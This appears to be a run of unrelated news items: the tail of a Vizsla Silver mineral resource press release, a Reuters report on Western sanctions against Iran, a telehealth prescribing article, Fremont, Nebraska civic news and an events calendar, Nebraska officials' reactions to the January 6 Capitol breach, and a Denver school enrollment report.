>=300 ppm 4.0 456 3.13 0.20 0.47 716 59,148 406 8.3 18.9 92,784 >=250 ppm 4.8 410 2.83 0.20 0.48 647 62,677 433 9.6 23.1 98,968 >=200 ppm 5.7 362 2.51 0.20 0.52 576 66,412 461 11.1 29.5 105,757 >=150 ppm 7.2 304 2.14 0.19 0.54 491 70,672 496 13.6 39.3 114,113 >=120 ppm 8.6 268 1.89 0.18 0.53 436 73,709 519 15.3 45.5 119,802 >100 ppm 9.8 241 1.71 0.17 0.52 394 75,803 538 17.1 50.7 124,190

Panuco Project Updated Mineral Resource Estimate Notes:

The classification of the Updated Mineral Resource Estimate into indicated and inferred mineral resources is consistent with current 2014 CIM Definition Standards for Mineral Resources and Mineral Reserves. The effective date for the Updated Mineral Resource Estimate is January 12, 2023.

All figures are rounded to reflect the relative accuracy of the estimate and numbers may not add due to rounding.

All mineral resources are presented undiluted and in situ, constrained by continuous 3D wireframe models, and are considered to have reasonable prospects for eventual economic extraction.

Mineral resources are not mineral reserves. Mineral resources which are not mineral reserves do not have demonstrated economic viability. An Inferred Mineral Resource has a lower level of confidence than that applying to an Indicated Mineral Resource and must not be converted to a Mineral Reserve. It is reasonably expected that the majority of Inferred Mineral Resources could be upgraded to Indicated Mineral Resources with continued exploration.

The database comprises a total of 644 drill holes for 202,709 metres of drilling completed by Vizsla Silver between November 2019 and September 2022.

The mineral resource estimate is based on 21 three-dimensional ("3D") resource models, constructed in Leapfrog, representing the Napoleon area (10 wireframes), the Copala area (4 wireframes), Tajitos (1 wireframe), Animas (5 wireframes) and San Antonio (1 wireframe).

Silver, gold, lead and zinc were estimated for each mineralization domain in the Panuco Project. Blocks within each mineralized domain were interpolated using 1.5 metre capped composites assigned to that domain. To generate grade within the blocks, the inverse distance squared (ID 2 ) interpolation method was used for all domains. All estimates are based on variable block dimensions (by deposit area) and estimation search parameters (by domain).

Average density values were assigned per zone based on 511 samples analysed by ALS in Zacatecas, Mexico or inhouse with 5% checks by ALS.

It is envisioned that the Panuco Project deposits may be mined using underground mining methods. Mineral resources are reported at a base case cut-off grade of 150 g/t AgEq. The mineral resource grade blocks were quantified above the base case cut-off grade, below surface and within the constraining mineralized wireframes.

The base-case AgEq Cut-off grade considers metal prices of $24.00/oz Ag, $1800/oz Au, $2425/t Pb and $2976/t Zn and considers metal recoveries of 93% for silver, 90% for gold, 94% for Pb and 94% for Zn.

The base case cut-off grade of 150 g/t AgEq considers a mining cost of US$45.00/t rock and processing, treatment and refining, transportation and G&A cost of US$50.00/t of mineralized material.

The Updated Mineral Resource Estimate may be materially affected by environmental, permitting, legal, title, taxation, socio-political, marketing, or other relevant issues.

The Company remains well-funded to complete its ongoing 90,000-metre 2023 drill program with seven drill rigs designed to upgrade and expand the Project's resource base and test high priority targets located in the west, central and eastern areas of the district. Dependent on ongoing exploration success, the Company plans to publish a further update to the Updated Mineral Resource Estimate in the second half of 2023.

Discovery Costs

To date, the Company has incurred an aggregate of approximately US$41.8 million in exploration expenditures over the life of the Project. This equates to an estimated discovery cost per silver equivalent ounce of US$0.19 for resources defined in the Updated Mineral Resource Estimate.

About the Panuco project

The newly consolidated Panuco silver-gold project is an emerging high-grade discovery located in southern Sinaloa, Mexico, near the city of Mazatlan. The 6,761-hectare, past producing district benefits from over 86 kilometres of total vein extent, 35 kilometres of underground mines, roads, power, and permits.

The district contains intermediate to low sulfidation epithermal silver and gold deposits related to siliceous volcanism and crustal extension in the Oligocene and Miocene. Host rocks are mainly continental volcanic rocks correlated to the Tarahumara Formation.

About Vizsla Silver

Vizsla Silver is a Canadian mineral exploration and development company headquartered in Vancouver, BC, focused on advancing its flagship, 100%-owned Panuco silver-gold project located in Sinaloa, Mexico. To date, Vizsla Silver has completed over 250,000 metres of drilling at Panuco leading to the discovery of several new high-grade veins. For 2023, Vizsla Silver has budgeted 90,000 metres of resource/discovery-based drilling, designed to upgrade, and expand the mineral resource as well as test other high priority targets across the district.

Quality Assurance / Quality Control

Drill core and rock samples were shipped to ALS Limited in Zacatecas, Zacatecas, Mexico and in North Vancouver, Canada for sample preparation and for analysis at the ALS laboratory in North Vancouver. The ALS Zacatecas and North Vancouver facilities are ISO 9001 and ISO/IEC 17025 certified. Silver and base metals were analyzed using a four-acid digestion with an ICP finish and gold was assayed by 30-gram fire assay with atomic absorption ("AA") spectroscopy finish. Over limit analyses for silver, lead and zinc were re-assayed using an ore-grade four-acid digestion with AA finish.

Control samples comprising certified reference samples, duplicates and blank samples were systematically inserted into the sample stream and analyzed as part of the Company's quality assurance / quality control protocol.

Qualified Person

The Updated Mineral Resource Estimate was completed by Allan Armitage, Ph.D., P.Geo., of SGS Geological Services. Mr. Armitage is an independent Qualified Person as defined by NI 43-101. Mr. Armitage has reviewed and approved the technical contents of this news release.

Information Concerning Estimates of Mineral Resources

The scientific and technical information in this news release was prepared in accordance with NI 43-101 which differs significantly from the requirements of the U.S. Securities and Exchange Commission (the "SEC"). The terms "measured mineral resource", "indicated mineral resource" and "inferred mineral resource" used herein are in reference to the mining terms defined in the Canadian Institute of Mining, Metallurgy and Petroleum Standards (the "CIM Definition Standards"), which definitions have been adopted by NI 43-101. Accordingly, information contained herein providing descriptions of our mineral deposits in accordance with NI 43-101 may not be comparable to similar information made public by other U.S. companies subject to the United States federal securities laws and the rules and regulations thereunder.

You are cautioned not to assume that any part or all of the mineral resources will ever be converted into reserves. Pursuant to CIM Definition Standards, "inferred mineral resources" are that part of a mineral resource for which quantity and grade or quality are estimated on the basis of limited geological evidence and sampling. Such geological evidence is sufficient to imply but not verify geological and grade or quality continuity. An inferred mineral resource has a lower level of confidence than that applying to an indicated mineral resource and must not be converted to a mineral reserve. However, it is reasonably expected that the majority of inferred mineral resources could be upgraded to indicated mineral resources with continued exploration. Under Canadian rules, estimates of inferred mineral resources may not form the basis of feasibility or pre-feasibility studies, except in rare cases. Investors are cautioned not to assume that all or any part of an inferred mineral resource is economically or legally mineable. Disclosure of "contained ounces" in a resource is permitted disclosure under Canadian regulations; however, the SEC normally only permits issuers to report mineralization that does not constitute "reserves" by SEC standards as in place tonnage and grade without reference to unit measures.

The SEC adopted new mining disclosure rules Pursuant to subpart 1300 of Regulation S-K of the United States Securities Act of 1933, as amended (the "SEC Modernization Rules"). As a result of the adoption of the SEC Modernization Rules, the SEC now recognizes estimates of "measured mineral resources", "indicated mineral resources" and "inferred mineral resources". As an eligible issuer under the Multijurisdictional Disclosure System the Company is exempt from compliance with the SEC Modernization Rules and information regarding mineral resources contained or referenced herein may not be comparable to similar information made public by companies that report according tothe SEC Modernization Rules. While the SEC Modernization Rules are purported to be "substantially similar" to the CIM Definition Standards, readers are cautioned that there are differences between the SEC Modernization Rules and the CIM Definitions Standards. Accordingly, there is no assurance any mineral resources that the Company may report as "measured mineral resources", "indicated mineral resources" and "inferred mineral resources" under NI 43-101 would be the same had the Company prepared the resource estimates under the standards adopted under the SEC Modernization Rules.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

SPECIAL NOTE REGARDING FORWARD LOOKING STATEMENTS

This news release includes certain "ForwardLooking Statements" within the meaning of the United States Private Securities Litigation Reform Act of 1995 and "forwardlooking information" under applicable Canadian securities laws. When used in this news release, the words "anticipate", "believe", "estimate", "expect", "target", "plan", "forecast", "may", "would", "could", "schedule" and similar words or expressions, identify forwardlooking statements or information. These forwardlooking statements or information relate to, among other things: the exploration, development, and production at Panuco, including drilling programs, the mobilization of drill rigs ; and the potential for underground mining methods; the preparation of a technical report on the Updated Mineral Resource Estimate; and the potential further update to the Updated Mineral Resource Estimate in the second half of 2023.

Forwardlooking statements and forwardlooking information relating to any future mineral production, liquidity, enhanced value and capital markets profile of Vizsla Silver, future growth potential for Vizsla Silver and its business, and future exploration plans are based on management's reasonable assumptions, estimates, expectations, analyses and opinions, which are based on management's experience and perception of trends, current conditions and expected developments, and other factors that management believes are relevant and reasonable in the circumstances, but which may prove to be incorrect. Assumptions have been made regarding, among other things, the price of silver, gold, and other metals; no escalation in the severity of the COVID-19 pandemic; costs of exploration and development; the estimated costs of development of exploration projects; Vizsla Silver's ability to operate in a safe and effective manner and its ability to obtain financing on reasonable terms.

These statements reflect Vizsla Silver's respective current views with respect to future events and are necessarily based upon a number of other assumptions and estimates that, while considered reasonable by management, are inherently subject to significant business, economic, competitive, political and social uncertainties and contingencies. Many factors, both known and unknown, could cause actual results, performance, or achievements to be materially different from the results, performance or achievements that are or may be expressed or implied by such forwardlooking statements or forward-looking information and Vizsla Silver has made assumptions and estimates based on or related to many of these factors. Such factors include, without limitation: the Company's dependence on one mineral project; precious metals price volatility; risks associated with the conduct of the Company's mining activities in Mexico; regulatory, consent or permitting delays; risks relating to reliance on the Company's management team and outside contractors; risks regarding mineral resources and reserves; the Company's inability to obtain insurance to cover all risks, on a commercially reasonable basis or at all; currency fluctuations; risks regarding the failure to generate sufficient cash flow from operations; risks relating to project financing and equity issuances; risks and unknowns inherent in all mining projects, including the inaccuracy of reserves and resources, metallurgical recoveries and capital and operating costs of such projects; contests over title to properties, particularly title to undeveloped properties; laws and regulations governing the environment, health and safety; the ability of the communities in which the Company operates to manage and cope with the implications of COVID-19; the economic and financial implications of COVID-19 to the Company; operating or technical difficulties in connection with mining or development activities; employee relations, labour unrest or unavailability; the Company's interactions with surrounding communities and artisanal miners; the Company's ability to successfully integrate acquired assets; the speculative nature of exploration and development, including the risks of diminishing quantities or grades of reserves; stock market volatility; conflicts of interest among certain directors and officers; lack of liquidity for shareholders of the Company; litigation risk; and the factors identified under the caption "Risk Factors" in Vizsla Silver's management discussion and analysis. Readers are cautioned against attributing undue certainty to forwardlooking statements or forward-looking information. Although Vizsla Silver has attempted to identify important factors that could cause actual results to differ materially, there may be other factors that cause results not to be anticipated, estimated or intended. Vizsla Silver does not intend, and does not assume any obligation, to update these forwardlooking statements or forward-looking information to reflect changes in assumptions or changes in circumstances or any other events affecting such statements or information, other than as required by applicable law.

SOURCE Vizsla Silver Corp.

Cision

View original content to download multimedia: http://www.newswire.ca/en/releases/archive/January2023/24/c0392.html
By Daphne Psaledakis and Gabriela Baczynska

WASHINGTON/BRUSSELS, Jan 23 (Reuters) - The West on Monday stepped up pressure on Iran over its crackdown on protests as the United States, European Union and United Kingdom imposed fresh sanctions on Tehran.

The actions, which reflect a deterioration in the West's already dire relations with Tehran in recent months, are the latest response to Iran's deadly clampdown on unrest after the death of young Iranian Kurdish woman Mahsa Amini in morality police custody in September.

The protests by Iranians from all walks of life mark one of the boldest challenges to the ruling theocracy since the 1979 Islamic Revolution. Iran accuses Western powers of fomenting the unrest, which security forces have met with deadly violence.

The United States targeted the powerful Islamic Revolutionary Guard Corps (IRGC) and senior officials in its action, which imposed sanctions on the IRGC Cooperative Foundation and five of its board members, Deputy Minister of Intelligence and Security Naser Rashedi and four senior IRGC commanders in Iran.

The U.S. Treasury Department said the action targets a "key economic pillar of the IRGC, which funds much of the regimes brutal suppression; as well as senior security officials coordinating Tehrans crackdown at the national and provincial levels."

Washington has accused the IRGC of continuing to aggressively crack down on peaceful demonstrations and said it has played "a leading role in suppressing protests through extensive human rights abuses."

The IRGC was set up shortly after the 1979 Islamic Revolution to protect the Shi'ite clerical ruling system. It has an estimated 125,000-strong military with army, navy and air units, and commands the Basij religious militia often used in crackdowns.

The Treasury described the IRGC Cooperative Foundation - already under U.S. sanctions - as an economic conglomerate established by senior officials of the group to manage its investments and presence in sectors of Iran's economy.

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The Treasury accused the IRGC Cooperative Foundation of having become "a wellspring of corruption and graft" and said funds from it have supported the IRGC's military adventures abroad.

"Along with our partners, we will continue to hold the Iranian regime accountable so long as it relies upon violence, sham trials, the execution of protesters, and other means of suppressing its people," the U.S. Treasury's under secretary for terrorism and financial intelligence, Brian Nelson, said in a statement.

'BRUTAL REPRESSION'

The European Union imposed sanctions on more than 30 Iranian officials and organizations, including units of the Revolutionary Guards, blaming them for a "brutal" crackdown on protesters and other human rights abuses.

Foreign ministers from the EU's 27 member countries agreed on the measures at a meeting in Brussels.

Those sanctions targeted units and senior officials of the IRGC across Iran, including in Sunni-populated areas where the state crackdown has been intense, a list published in the EU's Official Journal showed.

The new sanctions were imposed on 18 people and 19 entities. Those targeted cannot travel to the EU, and any assets they hold inside the bloc can be frozen.

Some EU governments and the European Parliament have made clear they want the IRGC as a whole added to the bloc's list of terrorist organizations. But the EU's foreign policy chief, Josep Borrell, noted that could only happen if a court in an EU country determined the IRGC was guilty of terrorism.

Britain also imposed sanctions on more Iranian individuals and entities on Monday over the country's "brutal repression" of its people.

The sanctions included an asset freeze on Iranian deputy prosecutor general Ahmad Fazelian, who the British foreign office said was responsible for an unfair judicial system that used the death penalty for political purposes.

Others sanctioned by Britain on Monday include Kiyumars Heidari, commander in chief of Iran's ground forces; Hossein Nejat, deputy commander of the Islamic Revolutionary Guard Corps (IRGC); and the Basij Resistance Force and its deputy commander, Salar Abnoush.

The Basij Cooperative Foundation, linked to the Basij militia, and Qasem Rezaei, deputy commander of Iran's law enforcement forces, were also sanctioned.

Britain has now imposed 50 new sanctions against Iran since Amini's death, the foreign office said.

Iran's long-strained relations with the West have deteriorated since talks to revive its 2015 nuclear deal deadlocked and after Tehran unleashed the crackdown on protesters last year.

Iran's ties with the West have also been strained by its support for Russia in Ukraine, where Western states say Moscow has used Iranian drones. (Reporting by Daphne Psaledakis, Katharine Jackson and Arshad Mohammed in Washington, Andrew Gray, Gabriela Baczynska and Philip Blenkinsop in Brussels, Bart Meijer in Amsterdam and Kylie MacLellan in London and Parisa Hafezi; Writing by Daphne Psaledakis; Editing by Jonathan Oatis and Tomasz Janowski)
Controlled substances became a little less controlled during the pandemic. That benefited both patients (for their health) and telehealth startups (to make money).

Some potentially addictive medications  like buprenorphine and Adderall  are now far more available online to patients because of regulatory changes. Given the scarcity of qualified doctors to treat some of the behavioral health conditions associated with these drugs, like opioid use disorder or attention-deficit/hyperactivity disorder, doctors new ability to prescribe online or, in some cases, by telephone is a huge change. But easier access to the drugs has upsides and downsides, since theyre often dispensed without accompanying therapy that improves the odds of a patients success.

Pre-pandemic, patients sometimes traveled several hours for addiction care, said Emily Behar, director of clinical operations for Ophelia, a New York startup serving people with opioid addictions. Or patients might be struggling with multiple jobs or a lack of child care. Such obstacles made sustaining care fraught.

How do you reach those people? she asked.

Its a question preoccupying much of the behavioral health sector, complicated by the reality that most patients with opioid use disorder arent in treatment, said Dr. Neeraj Gandotra, chief medical officer of the Substance Abuse and Mental Health Services Administration.

Increased access to telehealth has started to provide an answer. Behar, the startup executive, says its patients can see expert providers at their convenience. Missed appointments are dropping, say many in the industry.

The startup has secured solid funding  nearly $68 million, according to Crunchbase, an industry database  but addiction specialists and other prescribers of controlled substances online are a mixed group. Some are nonprofits; others are large startups attracting scrutiny from the news media and law enforcement for allegedly sloppy prescription practices.

The influx of new providers is attributable to loosened requirements born of pandemic-era necessity. To help patients get access to care while maintaining physical distance, the Drug Enforcement Administration and SAMHSA waived restrictions on telehealth for controlled substances.

But whether those changes will endure is uncertain. The federal government is working piecemeal to codify new rules for prescribing controlled substances, in light of the health care systems pandemic experience.

On Dec. 13, SAMHSA issued a proposal to codify telehealth regulations on opioid treatment programs  but that affects only part of the sector. Left unaddressed  at least until the DEA issues rules  is the process for individual providers to register to prescribe buprenorphine. The new rules get us at least a little bit closer to where we need to go, said Sunny Levine, a telehealth and behavioral health lawyer at the D.C.-based firm Foley & Lardner.

Congress also tweaked rules around buprenorphine, doing away with a long-standing policy to cap the number of patients each provider can prescribe to. Ultimately, however, the DEA is the main regulatory domino yet to fall for telehealth providers.

In addition, pharmacies are taking a more skeptical stance on telehealth prescriptions  especially from startups. Patients were getting accustomed to using telemedicine to fill and refill their prescriptions for medications for some controlled substances, like Adderall, primarily used to treat ADHD. A shortage of Adderall has affected access for some patients. Now, though, some pharmacies are refusing to fill those prescriptions.

Cheryl Anderson, one Pennsylvanian with ADHD, said she sought online options because of her demanding schedule.

My husband is frequently out of town, so I dont have someone to reliably watch the baby to go to an in-person appointment, she said. It was tough, with three kids, to find the time. Telehealth helped for about half of 2022. Previously, the DEA and state governments imposed tough rules on obtaining controlled substances from online pharmacies.

But in September, after her doctor wrote a refill prescription, she got a phone call saying her local pharmacy wouldnt dispense medications if the prescription came through telehealth. Other local pharmacies she called took the same position.

Those denials seem to reflect a broader cultural shift in attitudes. Whereas patients and politicians hailed telemedicine at the beginning of the pandemic  first for its safety but also for its increased convenience and potential to extend care to rural areas and neighborhoods without specialists  hints of skepticism are creeping in.

The telehealth boom attracted shady actors. You had a lot of people who saw an opportunity to do things that were less than scrupulous, particularly in the behavioral health market, said Michael Yang, a managing partner at the venture capitalist firm OMERS Ventures. Skeptical media coverage has proliferated of startups that, allegedly, shotgun prescriptions for mental health conditions without monitoring patients receiving those medications. Itll settle down.

How telehealth can improve depression and anxiety outcomes How telehealth can improve depression and anxiety outcomes Participants with commercial insurance Participants with Medicaid Uninsured participants Participants with employer-sponsored insurance Chart 1 Chart 2
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Efforts to continue to develop a future-looking mission statement for the City of Fremont continued on Saturday, Jan. 14, as members of the Fremont City Council and city staff met for an all-day workshop to hash out ideas and goals for the coming years.

The meeting at the Christensen Family YMCA Camp was billed as a strategic planning discussion on the comprehensive plan with a facilitator, and attended by a list of Fremont city staffers and city council members.

Cities in Nebraska are required to approve a comprehensive plan every 10 years. Fremont approved a comprehensive plan in 2012, and then an updated and new comprehensive plan was OKd by city leaders in late 2022.

During the Saturday, Jan. 14, retreat, Fremont Mayor Joey Spellerberg said he felt the meeting went great, noting that the format featured groups of council members and city staff and department heads who circulated through a series of tables on various aspects of the comprehensive plan.

Over the last two years, we did a new comprehensive plan. Were required to do one every 10 years. We did over 30 meetings, a steering committee, we had public meetings for input. That was approved in (late 2022) by the council, Spellerberg explained. What we wanted to do (on Jan. 14) was a city council retreat. I wanted to get all the council members together. We have two new council members this year, and our department heads. We went over the objectives of our comprehensive plan, we briefly discussed those, but more importantly we talked about what our mission in the city is going to be, our vision statement and our core values.

The comprehensive plan approved in 2022 is broken down into several over-arching areas of focus, including: goals and objectives; implementation; funding; and amendments to the plan processes.

The goals and objectives city leaders are honed in on are: balanced and sustainable growth; high-quality public services; welcoming and inclusive community; affordable and attainable high-quality housing for all; revitalize downtown; support and expand employment opportunities; safe, reliable roadway network; safe and connected multi-modal options; and access to parks and trails.

We were in groups of council members and department heads, and basically brainstormed our mission, our vision and our core values. We got a lot of good feedback from the council, he added. We want to come up with a mission statement for the city. It was a good opportunity for all the council and all the staff to have a good productive discussion. I thought it was a great day  it exceeded my expectations. We have the plan, now we have to implement the plan.

Fremont Planning Director Jennifer Dam was at the meeting, and said the event was helpful as the city moves into the future in getting all information available and coordinating between officials.

That is a land-use document, and what we are working on is to develop a strategic plan for the overall operations of the city. (The plan) was background material. It is, Hey, we just developed a comprehensive plan, and this is the vision and objectives that have been spelled out in that plan. And, as a city, how are we going to accommodate this (plan). ... What specifically do we want our vision to be guiding us in the future?

Dam said she was among the entire roster of city department heads at the retreat as well as Spellerberg and the seven current council members. The city council has only seven of the regular eight members due to the sudden resignation in late December of former Ward 1 member Vern Gibson.

Newly elected Ward 1 Council Member Paul Von Behren said in an email to the Tribune he thought the retreat was a, well-organized and conducted event, and, something that we should do regularly.

The interesting contrast was the discussion among tables compared to the comprehensive plan. The comprehensive plan is about buildings and growth and streets and structures and the physical nature of the city. In the past that is largely what we have used to measure what we have called progress, Von Behren wrote. But as we discussed what we should be doing as a city, every table I visited was focused primarily on what we need to be doing for the people of Fremont. That was a consistent message with both staff and council members.

Von Behren, who took office in late 2022 after winning the election to replace now-retired former council member Mark Legband, said he has high hopes for the new comprehensive plan and its implementation and impact on residents.

What I am hoping is that this marks a turn in our growth philosophy. In the past, we have grown the city physically and added businesses, but no one has seriously evaluated the impact on our people, he added. If we will begin to think and act in terms of benefit to Fremonts people, we can do both.

Ward 2 Council Member Glen Ellis said the retreat overall was a good event with a lot of information, but in some ways was a bit disappointing from his perspective, noting that the focus seemed more philosophical rather than discussion of actual action plans.

There wasnt a lot of talking about what we are going to do, it was more philosophical talk. It was not nuts and bolts, it was more like What Fremont wants to be discussion, Ellis said. It was better than our previous events, though. Any time you can get the council out of the chambers and together with city staff is good.

Ellis said his goals as a council member include strong advocacy for downtown Fremont revitalization and development, and he wants to see more interest in that issue in future comprehensive plan events.

Ive been a strong pusher of the downtown portion of our plan originally passed in 2012, he added. Until we start accomplishing things, this is going to be just another plan. Im a little skeptical. We had a great 2012 (comprehensive plan), but it just sat on the shelf.
Tuesday

Alcoholics Anonymous meeting, 10 a.m., Chapter 5 Club, 136 N. Main St., Fremont.

Letters to the Churches of Revelation, 10 a.m., Lighthouse, 84 W. Sixth St., Fremont.

Ready for Kindergarten, 10-11 a.m., Metropolitan Community College, Room 207, 835 N. Broad St., Fremont.

Alcoholics Anonymous meeting, noon, Chapter 5 Club, Fremont.

Narcotics Anonymous Steps of Freedom meeting, 1 p.m., LifeHouse, 723 N. Broad St., Fremont. The hotline number is 402-459-9511.

Fremont Eagles Club open, 3 p.m. to midnight, 649 N. Main St., Fremont. The club may stay open later or close early depending on business.

Fremont Chamber of Commerce Business After Hours, 4 p.m., Tailgate Motor Co, 520 W. 23rd St., Fremont.

Alcoholics Anonymous meeting, 5:15 p.m., Chapter 5 Club, Fremont.

Supportive Singles, 5:30 p.m., Runza, 1201 E. 23rd St., Fremont. For more information, call 402-660-8474.

Mens and Womens Bible Study, 6 p.m., Lighthouse, 84 W. Sixth St., Fremont.

National Alliance on Mental Illness (NAMI) Family Support Group, 6 p.m., Salem Lutheran Church, 401 E. Military Ave., Fremont. For more information, contact Tammy Flittie at 402-9814-0140 or Marlene Mullally at 402-727-9139.

Narcotics Anonymous Freedom Works Group, 7 p.m., Good Shepherd Lutheran Church, 1440 E. Military Ave., Fremont.

Wednesday

Dodge County Board of Supervisors, Dodge County Board of Equalization and Dodge County Board of Corrections meetings, 9 a.m., third-floor boardroom, Dodge County Courthouse, 435 N. Park Ave., Fremont. The meetings are open to the public.

Alcoholics Anonymous meeting, noon, Chapter 5 Club, 136 N. Main St., Fremont.

Mens Bible Study, 1 p.m., Lighthouse, 84 W. Sixth St., Fremont.

Fremont Eagles Club open, 3 p.m. to midnight, 649 N. Main St., Fremont. The club may stay open later or close early depending on business. There will be a coin auction at 4 p.m.

Alcoholics Anonymous meeting, 5:15 p.m., Chapter 5 Club, Fremont.

Fremont Community Breastfeeding Support Group, 5:30-6:30 p.m., Three Rivers Health Department conference room, 2400 N. Lincoln Ave., Fremont. This support group is for mothers and their babies. Siblings are welcome.

Eagles Aerie 200 and Eagles Auxiliary 200 meetings, 7 p.m., Fremont Eagles Club.

Narcotics Anonymous, 7 p.m., Good Shepherd Lutheran Church, 1440 E. Military Ave., Fremont. The hotline number is 402-459-9511.

Alcoholics Anonymous, 8 p.m., Chapter 5 Club, Fremont.

Thursday

Mens Bible Study, 8 a.m., Lighthouse, 84 W. Sixth St., Fremont.

Alcoholics Anonymous big book study, 10 a.m., Chapter 5 Club, 136 N. Main St., Fremont.

Budgeting 101 Class, 10 a.m., First State Bank & Trust Company Education Center, 1005 E. 23rd St., Fremont. Frank Kment, vice president for lending at FSBT, will teach the basics of creating a workable budget at the class. Participants should pre-register at Keene Memorial Library (temporarily located at Fremont City Auditorium, 925 N. Broad St.) or online at https://bit.ly/Budget101-2023. For more information, contact Laura at Keene Memorial Library at 402-727-2694.

Alcoholics Anonymous meeting, noon, Chapter 5 Club, Fremont.

Fremont Eagles Club open, 3 p.m. to midnight, 649 N. Main St., Fremont. The club may stay open later or close early depending on business. The kitchen will be open from 5:30-7 p.m. The menu will include hamburgers, cheeseburgers, tacos and soup. Everyone is welcome.

Keene Memorial Library Lego Club, 4-5 p.m., Gallery 92 West, 92 W. Sixth St., Fremont. Lego bricks will be supplied.

Alcoholics Anonymous meeting, 5:15 p.m., Chapter 5 Club, Fremont.

Civil Air Patrol, 7 p.m., 1201 W. 23rd St., in yellow hangar at Fremont Airport.

Pioneer Amateur Radio Club, 6 p.m. supper, 7 p.m. meeting, Gambinos Pizza, 1900 E. Military Ave., Fremont.

Narcotics Anonymous Freedom Works Group, 7 p.m., Good Shepherd Lutheran Church, 1440 E. Military Ave.

Tally Ho Toastmasters, 7-8 p.m., Midland Universitys Anderson Building, Ninth and Clarkson streets, Fremont. Everyone is welcome to learn skills in communication, self-confidence and leadership. For more information, call 402-936-3479.

Narcotics Anonymous Back to Basics meeting, 7:30 p.m., First Evangelical Lutheran Church, 201 N. Davis St., Oakland.

Alcoholics Anonymous big book study, 8 p.m., Chapter 5 Club, Fremont.
Rep. Jeff Fortenberry said late Wednesday afternoon that President Donald Trump needs to step up now and call upon his supporters to end the kind of post-election violence that swept into the nation's Capitol earlier in the day.

Asked if the president bears responsibility for the violence after summoning supporters to Washington for what he said would be a "wild" event, Fortenberry said Trump needs to speak to them now.

"These are his most heartfelt supporters," the Republican congressman said during a telephone conversation from his office. "They will listen to him. Violence has to stop."

Fortenberry, who represents eastern Nebraska's 1st District including Lincoln, said "people are very upset" following Trump's defeat in November and "people will be very upset with me for voting to certify the election results" that have been submitted to Congress by the Electoral College.

There is nothing wrong with "marching peacefully," he said, but "these fools who invaded the Capitol" moved beyond peaceful and acceptable protest.

"I suspect that the vast majority of people who came here to exercise their rights and participate in a peaceful manner were also upset" by the violence, Fortenberry said.

Fortenberry was quarantined in his House office during Wednesday's events after exposure to COVID-19. When he casts his vote to accept the Electoral College results, he said he'll be wearing a mask and face shield and be segregated in the gallery.

"I wanted to be on the floor," he said, but he will be escorted to the gallery for the vote and leave after his vote is cast.

Others in Nebraska's congressional delegation also decried the breach of the U.S. Capitol by a mob intent on disrupting the certification of the electoral votes confirming Joe Biden as the next U.S. president.

Rep. Adrian Smith, the lone congressional member from Nebraska objecting to the certification of the electoral votes, called for calm at the Capitol.

"While many protesters are exercising their constitutional right to be heard peacefully, I urge all protestors to do so and to follow the directions of law enforcement," the 3rd District congressman said in a statement.

"We are working to ensure concerns about the conduct of the presidential election in several states are heard through the existing legal process, and illegal disruptions of this process are unacceptable and not constructive."

It wasn't immediately clear where other members of the Nebraska delegation were when the Capitol was locked down and lawmakers were rushed from the building as some protesters backing Trump swarmed the building, reaching the Senate floor and the office of House Speaker Nancy Pelosi.

As they occupied the building, Sen. Deb Fischer said the rioters have no constitutional right to harm police.

"We are a nation of laws, not some banana republic," Fischer said. "This must end now."

In a statement, Sen. Ben Sasse singled out Trump, calling it the "ugly outcome of the President's addiction to constantly stoking division."

"Today, the United States Capitol  the worlds greatest symbol of self-government  was ransacked while the leader of the free world cowered behind his keyboard  tweeting against his Vice President for fulfilling the duties of his oath to the Constitution."

Later, speaking on the Senate floor after the certification process resumed, Sasse encouraged Americans to love their neighbor.

"When somethings ugly, talking about beauty isnt just permissible, talking about beauty is obligatory," Sasse said in providing a ray of optimism on what can only be described as a dark day.

Rep. Don Bacon, who represents Omaha's 2nd District, was in his office watching House proceedings  there were virus-related limits on the number of people in the chamber  and monitoring the protests when television networks showed people breaking into the Capitol.

Bacon condemned the violence as "reprehensible" and "embarrassing," adding that he understands the roots of what occurred Wednesday.

"Tensions have been boiling on both sides for years," he said. "And there's this escalatory behavior on both sides. Today, we saw, and we've seen with the President in the last couple months, the delegitimizing of Joe Biden, and you see this resistance to any acknowledgement of a peaceful transition of power. It's not right."

Bacon said the anger that played out among some of those rioting in Washington was a response to those who have delegitimized President Trump for four years.

"We have so many blessings here, but a lot of people don't even know it. All they have is anger," Bacon said. "We need leaders to point out just what a great country we have. That's part of leadership. And we don't have leaders right now framing it in a positive way."

To appease those who came to Washington to protest peacefully, Bacon suggested that Congress call for an investigation into allegations of Trump's voter fraud claims.

"I think if you do a deep dive on this, and you disprove it, that's good. And if you find some fraud, that's good to know, too, and we fix it."

On Twitter, Gov. Pete Ricketts called the events in D.C. unacceptable and called for the crowds that descended on the Capitol to disband.

Asked whether Trump encouraged the violence, Ricketts told the Omaha World-Herald that people need to take responsibility for themselves.

"Every one of those people showed up on their own accord and acted under their own volition," Ricketts said.

Doug Peterson, Nebraska's attorney general, condemned the violence in a statement, calling the U.S. a nation of laws designed to maintain order and protect individual freedoms.

"We as a people are better than this," Peterson said in a statement.

Ricketts and Peterson, like all members of Nebraska's congressional delegation, are Republicans.

Lincoln Mayor Leirion Gaylor Baird, a Democrat, made a bipartisan plea for an end to violence allowing for the certification of the Electoral College.

"The peaceful transition of power is fundamental to our democracy," she said. "These acts of aggression at our nation's Capitol are antithetical to our values."

The Nebraska Democratic Party blasted the "violent Republican thugs" who were "allowed to just storm the building."

The GOP owes Americans an apology for the disgusting behavior that they have enabled," said Jane Kleeb, the party's chair, in a news release. "There is no sidestepping this. There is no looking the other way. The Republican Party must own the behavior that they enabled from their radical base.
Enrollment in Denver Public Schools  Colorado's largest school district  slightly dipped this school year, mirroring a statewide downward trend that began just after the pandemic upended people's lives.

DPS lost just over a thousand students, a change of 1.15% from the last school year, according to data from the Colorado Department of Education.

Colorado parents can enroll children in free preschool starting Tuesday

Statewide, the number of students dropped by a smaller percentage  0.4%  or about 3,250 students.

Since school funding is based on enrollment count, any drop in students could mean a decrease in a school's revenue, with potentially grave ramifications for its priorities, such as the ability to hire and retain staffers.

The dip in enrollment in the last two school years reversed a three-decade trend in which schools saw their enrollment increase.

School officials attributed the numbers to the lingering effects of the shape-shifting and deadly virus that shut down schools and businesses two years ago.

Many schools are still rebounding from the pandemic, said Cheyenne Mountain School District 12 Superintendent David Peak.

Like many other districts, we continue to work on recovering from learning loss, supporting the mental health wellness for students and staff, as well as focusing on expanding opportunities for students through the effective use of technology as well as college and career pathways, he said.

